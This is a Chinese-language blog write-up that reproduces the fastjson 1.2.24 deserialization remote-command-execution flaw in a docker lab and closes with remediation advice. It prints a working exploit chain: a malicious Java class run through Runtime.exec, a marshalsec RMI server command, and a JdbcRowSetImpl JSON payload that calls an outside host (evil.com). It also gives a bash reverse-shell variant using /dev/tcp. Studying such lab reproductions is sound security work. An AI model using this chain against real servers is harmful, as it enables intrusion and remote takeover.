当前位置:   article > 正文

fastjson 1.2.24 反序列化导致任意命令执行漏洞_fastjson1.2.24漏洞

fastjson1.2.24漏洞

1  什么是fastjson

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于它使用简单,高效与灵活,吸引了很多开发者的使用。

2  漏洞详情

    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。 通过查找代码中相关的方法,即可构造出一些恶意利用链。攻击者可利用恶意json数据中的@type字段来触发漏洞,通过fastjson的反序列化功能执行恶意代码。

    漏洞的根源在于fastjson引入了AutoType功能,导致在反序列化过程中读取@type字段并调用相应类的setter方法。

    受影响版本范围: fastjson<=1.2.24

3  环境配置

docker-compose up -d

此次复现为了方便,靶机和攻击机都是kali Linux(192.168.159.128)

docker ps查看开放端口

访问http://ip:端口,环境搭建成功

4  漏洞复现

攻击过程:

1. 构造恶意序列化数据:攻击者需要构造一个特定的恶意序列化数据,通常是通过序列化一个恶意对象来实现。攻击者可以利用fastjson的特性,如自定义序列化器、反序列化回调等,来执行恶意代码。

2. 传递恶意序列化数据:攻击者需要将构造好的恶意序列化数据传递给目标系统。这可以通过网络传输、文件上传、参数传递等方式实现。

3. 目标系统反序列化:目标系统在接收到恶意序列化数据后,会使用fastjson库进行反序列化操作。由于fastjson存在漏洞,恶意序列化数据可能会导致目标系统执行恶意代码。

4. 恶意代码执行:如果攻击者构造的恶意序列化数据成功触发了fastjson的漏洞,目标系统可能会执行恶意代码。这可能导致系统被入侵、数据泄露、远程命令执行等安全风险。

RMIRemote Method Invocation)服务器是一种基于Java的远程调用机制,用于实现分布式系统中的远程方法调用。它允许在不同的Java虚拟机(JVM)之间进行远程通信和方法调用。 RMI服务器是一个提供远程服务的Java应用程序,它通过注册远程对象并监听指定的端口,等待客户端的请求。当客户端发起远程方法调用请求时,RMI服务器接收到请求后,会执行相应的方法,并将结果返回给客户端。 RMI服务器的主要作用是提供远程服务,使得客户端能够通过网络调用远程对象的方法,而不需要了解底层网络通信的细节。RMI服务器可以在分布式系统中实现各种功能,例如远程计算、远程数据访问、远程对象管理等。 RMI服务器中,需要定义远程接口(Remote Interface)来描述可以被远程调用的方法。RMI服务器会实现该接口,并将其注册到RMI注册表中,以便客户端能够获取和调用远程对象的方法。 总结来说,RMI服务器是一个提供远程服务的Java应用程序,用于接收和处理客户端的远程方法调用请求,实现分布式系统中的远程通信和方法调用。

复现过程

1、检验漏洞是否存在

向这个地址POST一个JSON对象,即可更新服务端的信息

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

burp抓包,然后更改请求方式,出现fastjson的版本信息

至此,基本可以确定漏洞存在

2、漏洞验证

kali只有java命令,没有javac命令,所以需要重新安装java环境

因为目标环境是Java 8u102,没有的限制,我们可以使用的利用链,借助JNDI注入来执行命令。

com.sun.jndi.rmi.object.trustURLCodebasecom.sun.rowset.JdbcRowSetImpl

构造命令执行代码,该代码的意思是在靶机的/tmp/success上创建文件TouchFile

  1. // javac TouchFile.java
  2. import java.lang.Runtime;
  3. import java.lang.Process;
  4. public class TouchFile {
  5.     static {
  6.         try {
  7.             Runtime rt = Runtime.getRuntime();
  8.             String[] commands = {"touch", "/tmp/success"};
  9.             Process pc = rt.exec(commands);
  10.             pc.waitFor();
  11.         } catch (Exception e) {
  12.             // do nothing
  13.         }
  14.     }
  15. }

javac TouchFile.java 编译TouchFile,得到一个.class文件

利用python开启http服务,传输恶意文件

python -m http.server 5555

靶机访问http://靶机ip:5555即可看到恶意文件

借助marshalsec项目(安装过程是跟着网上教程来的),启动一个RMI服务器,监听9999端口,并制定加载远程类:TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

现在用攻击机来请求靶机地址,burp抓包,然后向靶场主机发送我们构造的payload,带上RMI地址

构造的payload如下:

  1. POST / HTTP/1.1
  2. Host: your-ip:8090
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 160
  10. {
  11. "b":{
  12. "@type":"com.sun.rowset.JdbcRowSetImpl",
  13. "dataSourceName":"rmi://evil.com:9999/TouchFile",
  14. "autoCommit":true
  15. }
  16. }

可见,命令已成功执行

也可查看http访问日志

检测是否在tmp目录上成功创建success文件。

  1. docker ps
  2. docker exec -it your-CONTAINER bash

tmp目录下有success,至此,漏洞复现成功

注:该漏洞可以反弹shell,方法与命令执行一样,构造的payload也与命令执行的一样,这里就不展示了。

修改恶意文件,String[ ] commands的内容要修改为反弹shell的命令

  1. // javac TouchFile.java
  2. import java.lang.Runtime;
  3. import java.lang.Process;
  4. public class TouchFile {
  5. static {
  6. try {
  7. Runtime rt = Runtime.getRuntime();
  8. String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击者ip端口(反弹shell到攻击机的端口 0>&1"};
  9. Process pc = rt.exec(commands);
  10. pc.waitFor();
  11. } catch (Exception e) {
  12. // do nothing
  13. }
  14. }

3.5 修复建议

1、及时更新fastjson库到最新版本,以修复已知的漏洞

2、对于不信任的数据,避免直接使用fastjson进行反序列化操作

3、使用白名单机制,限制反序列化的类和属性,以减少漏洞利用的风险

4、在代码中增加输入验证和过滤,以防止恶意序列化数据的传递

5、配置安全策略,限制fastjson的反序列化能力,以减少漏洞的影响范围

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小桥流水78/article/detail/923136
推荐阅读
相关标签
  

闽ICP备14008679号